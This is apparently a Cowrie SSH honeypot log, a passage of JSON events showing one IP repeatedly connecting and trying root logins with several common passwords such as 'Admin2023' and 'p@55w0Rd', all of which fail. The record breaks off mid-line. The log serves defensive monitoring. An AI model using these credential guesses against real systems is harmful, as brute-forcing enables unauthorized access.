{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:06.125221Z","src_ip":"60.165.124.241","session":"d47675583a17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45098,"dst_ip":"10.17.0.5","dst_port":22,"session":"e205b033f363","protocol":"ssh","message":"New connection: 60.165.124.241:45098 (10.17.0.5:22) [session: e205b033f363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:06.373011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:06.377866Z","src_ip":"60.165.124.241","session":"e205b033f363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:06.624844Z","src_ip":"60.165.124.241","session":"e205b033f363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sd%^*45KLLJsde5","message":"login attempt [root/sd%^*45KLLJsde5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:08.074305Z","src_ip":"60.165.124.241","session":"e205b033f363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:09.323882Z","src_ip":"60.165.124.241","session":"e205b033f363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48738,"dst_ip":"10.17.0.5","dst_port":22,"session":"24aa2969e12e","protocol":"ssh","message":"New connection: 60.165.124.241:48738 (10.17.0.5:22) [session: 24aa2969e12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:09.565635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:09.571066Z","src_ip":"60.165.124.241","session":"24aa2969e12e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:09.821204Z","src_ip":"60.165.124.241","session":"24aa2969e12e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2023","message":"login attempt [root/Admin2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:10.565755Z","src_ip":"60.165.124.241","session":"24aa2969e12e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:11.816076Z","src_ip":"60.165.124.241","session":"24aa2969e12e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51620,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a0c279e2175","protocol":"ssh","message":"New connection: 60.165.124.241:51620 (10.17.0.5:22) [session: 2a0c279e2175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:12.062585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:12.067798Z","src_ip":"60.165.124.241","session":"2a0c279e2175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:12.315630Z","src_ip":"60.165.124.241","session":"2a0c279e2175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@55w0Rd","message":"login attempt [root/p@55w0Rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:13.064209Z","src_ip":"60.165.124.241","session":"2a0c279e2175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:14.312978Z","src_ip":"60.165.124.241","session":"2a0c279e2175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54614,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e2c4f4e945b","protocol":"ssh","message":"New connection: 60.165.124.241:54614 (10.17.0.5:22) [session: 1e2c4f4e945b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:14.558630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:14.563301Z","src_ip":"60.165.124.241","session":"1e2c4f4e945b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:14.812548Z","src_ip":"60.165.124.241","session":"1e2c4f4e945b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456.","message":"login attempt [root/root123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:15.570688Z","src_ip":"60.165.124.241","session":"1e2c4f4e945b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:16.822491Z","src_ip":"60.165.124.241","session":"1e2c4f4e945b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57544,"dst_ip":"10.17.0.5","dst_port":22,"session":"719a2dc42b2e","protocol":"ssh","message":"New connection: 60.165.124.241:57544 (10.17.0.5:22) [session: 719a2dc42b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:17.060569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:17.065772Z","src_ip":"60.165.124.241","session":"719a2dc42b2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:17.313007Z","src_ip":"60.165.124.241","session":"719a2dc42b2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zaq1Xsw2","message":"login attempt [root/Zaq1Xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:18.749995Z","src_ip":"60.165.124.241","session":"719a2dc42b2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:19.998067Z","src_ip":"60.165.124.241","session":"719a2dc42b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33492,"dst_ip":"10.17.0.5","dst_port":22,"session":"26ca6e3b4a5b","protocol":"ssh","message":"New connection: 60.165.124.241:33492 (10.17.0.5:22) [session: 26ca6e3b4a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:20.258291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:20.262943Z","src_ip":"60.165.124.241","session":"26ca6e3b4a5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:20.517663Z","src_ip":"60.165.124.241","session":"26ca6e3b4a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe!@#123","message":"login attempt [root/QWEqwe!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:21.284108Z","src_ip":"60.165.124.241","session":"26ca6e3b4a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:22.540565Z","src_ip":"60.165.124.241","session":"26ca6e3b4a5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36156,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f9c41c1b03e","protocol":"ssh","message":"New connection: 60.165.124.241:36156 (10.17.0.5:22) [session: 5f9c41c1b03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:22.774284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:22.778508Z","src_ip":"60.165.124.241","session":"5f9c41c1b03e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:23.023752Z","src_ip":"60.165.124.241","session":"5f9c41c1b03e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aabb1234","message":"login attempt [root/Aabb1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:23.767815Z","src_ip":"60.165.124.241","session":"5f9c41c1b03e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:25.012542Z","src_ip":"60.165.124.241","session":"5f9c41c1b03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39140,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9b01fc75c85","protocol":"ssh","message":"New connection: 60.165.124.241:39140 (10.17.0.5:22) [session: f9b01fc75c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:25.253164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:25.257516Z","src_ip":"60.165.124.241","session":"f9b01fc75c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:25.506423Z","src_ip":"60.165.124.241","session":"f9b01fc75c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123!@#$","message":"login attempt [root/root123!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:26.251374Z","src_ip":"60.165.124.241","session":"f9b01fc75c85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:27.500096Z","src_ip":"60.165.124.241","session":"f9b01fc75c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41884,"dst_ip":"10.17.0.5","dst_port":22,"session":"cea831f4ea02","protocol":"ssh","message":"New connection: 60.165.124.241:41884 (10.17.0.5:22) [session: cea831f4ea02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:27.737183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:27.741400Z","src_ip":"60.165.124.241","session":"cea831f4ea02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecds